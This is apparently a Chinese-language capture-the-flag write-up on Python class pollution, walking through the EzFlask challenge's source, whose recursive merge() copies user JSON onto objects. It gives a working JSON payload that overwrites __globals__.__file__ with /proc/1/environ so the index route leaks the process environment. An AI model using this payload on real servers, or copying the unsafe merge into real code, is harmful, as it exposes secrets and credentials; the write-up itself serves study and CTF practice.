leran from :https://pazuris.cn/2023/07/27/Python%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/

Python原型链污染

这个知识点应用的范围比较小,仅当题目中出现utilsmergePydash模块中的setset_with函数才会用上

首先经典回顾一下python的类与继承:

  • 在Python中,定义类是通过class关键字,class后面紧接着是类名,紧接着是(object),表示该类是从哪个类继承下来的,所有类的本源都是object类
  • 可以自由地给一个实例变量绑定属性,像js
  • 由于类可以起到模板的作用,因此,可以在创建实例的时候,把一些我们认为必须绑定的属性强制填写进去。通过定义一个特殊的__init__方法,在创建实例的时候,就把类内置的属性绑上
  • 注意到__init__方法的第一个参数永远是self,表示创建的实例本身,因此,在__init__方法内部,就可以把各种属性绑定到self,因为self就指向创建的实例本身。
  • 当我们定义了一个类属性后,这个属性虽然归类所有,但类的所有实例都可以访问到
  • 判断一个变量是否是某个类型可以用isinstance()判断。

在Python中每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。

[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)#用于创建一个 Flask 应用实例
app.secret_key = str(uuid.uuid4())#设置 Flask 应用的密钥

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
#遍历 src,递归合并数据到 dst,支持字典合并和对象属性动态更新。
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])#@app.route 是一个装饰器
def register():
if request.data:#检查请求中是否有数据
try:
#使用 try...except 捕获所有可能的异常,确保程序不会因为意外错误而崩溃
if not check(request.data):#假定是一个自定义的函数,用于验证请求数据的合法性
return "Register Failed"
data = json.loads(request.data)#将请求中的原始数据(字节流)解析为 Python 字典,如果解析失败,返回 "Register Failed"
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)#将 data 中的键值对合并到用户实例 User 中
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

看到merge函数基本想到的就是python原型链污染

利用merge来动态污染原型链的值

{
"username":"111",
"password":"222",
"__class__":{
"check":{
"__globals__":{
"__file__" : "/proc/1/environ"
}
}
}
}

然后直接get /就好

象征性的复现一下(●’◡’●)